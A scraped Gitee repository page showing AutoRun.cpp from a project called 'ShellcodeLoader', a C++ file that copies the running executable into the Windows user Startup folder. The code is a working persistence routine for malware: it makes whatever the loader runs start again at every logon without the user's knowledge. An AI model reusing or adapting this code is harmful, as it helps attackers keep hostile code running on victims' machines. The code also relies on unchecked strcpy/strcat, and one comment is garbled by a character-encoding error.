1 Star 0 Fork 2

Rog/ShellcodeLoader

加入 Gitee
与超过 1400万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
AutoRun.cpp 2.00 KB
一键复制 编辑 原始数据 按行查看 历史
Rog 提交于 2021-11-12 22:14 +08:00 . 2021.11.18
#pragma warning(disable:4996)
#include "AutoRun.h"
//#define DEBUG
BOOL GetStartUpDirPath(char* StartUpDir)
{
char NameBuffer[MAX_PATH] = { 0 };
char PathBuffer[MAX_PATH] = "C:\\Users\\";
DWORD dwBufferLength = MAX_PATH;
BOOL bFlag = FALSE;
//SHGetFolderPathA()
bFlag = GetUserNameA(NameBuffer, &dwBufferLength);
if (!bFlag)
{
#ifdef DEBUG
printf("GetUserNameA:%x\n", GetLastError());
#endif
return false;
}
//puts(NameBuffer);
strcat(PathBuffer, NameBuffer);
strcat(PathBuffer, "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup");
strcpy(StartUpDir, PathBuffer);
return true;
}
BOOL AutoRun::StartUpFloderAutoRun(char* szTargetFilePath,const char* szAutoRunFileName)
{
char szStartUpDirPath[MAX_PATH] = { 0 };
char szSrcFilePath[MAX_PATH] = { 0 };
char szDstFilePath[MAX_PATH] = { 0 };
BOOL bFlag = false;
bFlag = GetStartUpDirPath(szStartUpDirPath);
if (!bFlag)
{
#ifdef DEBUG
printf("GetStartUpDirPath:%x\n", GetLastError());
#endif // DEBUG
return false;
}
//puts(szStartUpDirPath);
strcpy(szDstFilePath, szStartUpDirPath);
strcat(szDstFilePath, "\\");
strcat(szDstFilePath, szAutoRunFileName);
//puts(szDstFilePath);
if (szTargetFilePath == NULL)
{
GetModuleFileNameA(NULL, szSrcFilePath, MAX_PATH);
//puts(szSrcFilePath);
}
else
{
strcpy(szSrcFilePath, szTargetFilePath);
}
bFlag = CopyFileA(szSrcFilePath, szDstFilePath, FALSE); //ļƵļ
if (!bFlag)
{
DWORD LastError = GetLastError();
if (LastError == 0x3)
{
CreateDirectoryA(szStartUpDirPath,NULL);
CopyFileA(szSrcFilePath, szDstFilePath, TRUE);
return true;
}
//else if (LastError == 0x50)
//{
// return true;
//}
#ifdef DEBUG
printf("CopyFile Error %x\n", GetLastError());
#endif
return false;
}
return false;
}
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
C++
1
https://gitee.com/rogxo/ShellcodeLoader.git
git@gitee.com:rogxo/ShellcodeLoader.git
rogxo
ShellcodeLoader
ShellcodeLoader
master

搜索帮助